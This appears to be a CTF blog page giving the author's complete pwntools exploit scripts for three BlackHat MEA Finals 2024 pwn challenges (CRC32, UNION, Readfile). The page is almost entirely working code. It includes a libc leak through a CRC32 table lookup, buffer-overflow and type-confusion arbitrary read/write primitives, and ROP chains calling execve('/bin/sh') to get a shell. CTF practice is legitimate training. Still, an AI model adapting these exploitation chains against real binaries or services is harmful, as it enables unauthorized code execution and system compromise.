Diefunction
  • About
  • Vulnerabilities
    • GHSL-2021-023 / CVE-2021-32819
  • BlachatMEA Finals 2024
  • CTF
    • Technology Control Company
      • Athackcon CTF 2021
        • Trust
        • Config
        • Extend
        • Poison
      • Blackhat MEA 2022
        • CTF Setup on Kali linux
        • Careers
        • SOC Complaints
    • Athackcon
      • POLL
    • Cyber Night 3
      • Client Hell
    • BlackHatMEA Quals 2022
      • Spatify
      • PeehPee
      • Meme generator
      • Black notes
      • Jimmy's blog
    • BlackHatMEA Quals 2023
      • Web - Hardy
      • Web - Authy
      • Reverse engineering - light up the server
    • BlackhatMEA Finals 2024
      • PWN
    • BITSCTF - Reverse Mishap
    • Cybernights 2025
      • REVERSE
      • PWN
    • BYUCTF 2025
      • PWN
Powered by GitBook
On this page
  • CRC32
  • UNION
  • Readfile

Was this helpful?

  1. CTF
  2. BlackhatMEA Finals 2024

PWN

CRC32

from pwn import *

executable = './crc32'

elf = context.binary = ELF(executable)

io = None


def findByte(crc32_table, target):
    for i in range(0, 255):
        result = i ^ -1
        result = result * 4
        result = result + crc32_table
        if result == target:
            print(f'[Found] byte: {hex(i)}')
            return i

def getHash(byte):
    io.recv(0x8)
    io.sendline(chr(byte).encode())
    return int(io.recvline().decode().replace('CRC32: ', '').strip(), 16)


def execute(gadgets):
    io.recv(0x8)
    # 264 is the offset to return address
    io.sendline((b'A' * 264) + gadgets)
    io.recv(0x8)
    io.sendline(b'\n')

def exploit():
    input('[Debug] Press Enter to continue ...')
    
    # LEAK libc
    
    # 0x3FB8 setbuf_ptr
    byte = findByte(crc32_table = 0x4020, target = (0x3FB8))
    value = getHash(byte)
    libc_base = value ^ ((0xFFFFFFFF >> 8))

    byte = findByte(crc32_table = 0x4020, target = (0x3FB8 + 4))
    value = getHash(byte)
    libc_base |= (value ^ ((0xFFFFFFFF >> 8)) ) << 32
    libc_base = libc_base - 0x8f740 # setbuf offset

    print(f'[LIBC] {hex(libc_base)}')

    # ROPGadget libc
    gadgets = p64(libc_base + 0x10f75b) # pop rdi | rdi ptr to /bin/sh
    gadgets += p64(libc_base + 0x1cb42f) # /bin/sh
    gadgets += p64(libc_base + 0x1ab1f7) # xor rax | rax = 0
    gadgets += p64(libc_base + 0xe0f53) # esi = rax |  esi = 0
    gadgets += p64(libc_base + 0xdd237) # pop rax | rax = execve address
    gadgets += p64(libc_base + 0xeef30) # execve
    gadgets += p64(libc_base + 0x116114) # xor edx, edx ; call rax | edx = 0 , call execve
    
    execute(gadgets)
    
    input('Interactive ...')
    io.interactive()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

def local():
    global io
    
    io = process(executable)
    exploit()

if __name__ == '__main__':
   local()
   # host = ''
   # port = ''
   # srv(host, port)

UNION

# docker container run --rm --name pwn -it ubuntu:24.04@sha256:5d070ad5f7fe63623cbb99b4fc0fd997f5591303d4b03ccce50f403957d0ddc4 /bin/bash

# docker container cp please:/lib/x86_64-linux-gnu/libc.so.6 .
# docker container cp please:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .

from pwn import *
from struct import pack, unpack

executable = './chall'
libc = './libc.so.6'
ld = './ld-linux-x86-64.so.2'
env = {
    'LD_PRELOAD': libc
}

libc = ELF(libc)
elf = context.binary = ELF(executable)
io = None

def new(data, datatype):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Type (1=String / 2=Integer): ', str(datatype).encode())
    
    if not isinstance(data, str):
        io.sendlineafter(b'Data: ', str(data).encode())
    else:
        io.sendlineafter(b'Data: ', data.encode())

def edit(data):
    io.sendlineafter(b'> ', b'2')  # Choose EDIT
    
    if isinstance(data, int):
        io.sendlineafter(b'Data: ', str(data).encode())
    elif isinstance(data, bytes):
        io.sendlineafter(b'Data: ', data)
    else:
        io.sendlineafter(b'Data: ', data.encode())

def show():
    io.sendlineafter(b'> ', b'3')
    return io.recvline().replace(b'Data: ', b'')

def wptr(ptr):
    new('', 144115196665790466)
    edit(ptr)

def rptr():
    new('', 144115196665790466)
    return int(show().rstrip().decode(), 10)

def pread(ptr):
    wptr(ptr)
    new('', 144115196665790465)
    return show()

def pwrite(ptr, value):
    if not isinstance(value, int) and len(value) > 20:
        print('Maximum data to write is 20 bytes')
    wptr(ptr)
    new('', 144115196665790465)
    edit(value)

def debug():
    input('[Debug] Press Enter to continue ...')

def exploit():
    debug()

    print('Try to get pointers exposed on heap')
    for i in range(8):
        new("A" * 32, 1)

    for i in range(8):
        new("B" * 128, 1)

    for i in range(8):
        new("C" * 256, 1)  

    print('Calculate LIBC base address')
    libc.address = u64(pread(rptr() - 0xba0).rstrip().ljust(8, b'\x00')) - 0x203b20
    print(f'[+] LIBC base address : {hex(libc.address)}')

    stackAddr = u64(pread(libc.sym['environ']).rstrip().ljust(8, b'\x00')) - (0x8 * 38)
    
    # ROPGadget libc
    gadgets = []
    
    gadgets.append(p64(libc.address + 0x10f75b)) # pop rdi | rdi ptr to /bin/sh
    gadgets.append(p64(libc.address + 0x1cb42f)) # /bin/sh
    gadgets.append(p64(libc.address + 0x10f759)) # pop rsi ; pop r15 ; ret | rsi = 0
    gadgets.append(p64(libc.sym['environ']))
    gadgets.append(p64(libc.address + 0xeef30)) # execve
    gadgets.append(p64(libc.address + 0x2a261)) # call r15 | call execve

    for gadget in gadgets:
        pwrite(stackAddr, gadget)
        stackAddr += 8

    input('Interactive ...')
    io.sendlineafter(b'> ', b'4')
    io.interactive()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

def local():
    global io
    
    # io = process([ld, executable], env=env)
    io = process(executable)
    
    exploit()

if __name__ == '__main__':
    # local()
    host = '127.0.0.1'
    port = '5000'
    srv(host, port)

Readfile

from pwn import *

executable = './readfile'

elf = context.binary = ELF(executable)

io = None

def exploit():
    input('[Debug] Press Enter to continue ...')

    # File
    flag = b'./flag.txt'
    io.sendlineafter(b'File: ', flag)

    # Content length
    size = 22
    io.sendlineafter(b'Size: ', str(size).encode())

    # Get content
    msg = io.recvuntil(b'Content:\n')

    msg = io.recvline()
    print(msg)
    
    input('Interactive ...')
    io.interactive()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

def local():
    global io
    
    io = process(executable)
    exploit()

if __name__ == '__main__':
   local()
   # host = ''
   # port = ''
   # srv(host, port)
PreviousBlackhatMEA Finals 2024NextBITSCTF - Reverse Mishap

Last updated 2 months ago

Was this helpful?

7KB
crc32.zip
archive
5KB
union.zip
archive
5KB
readfile.zip
archive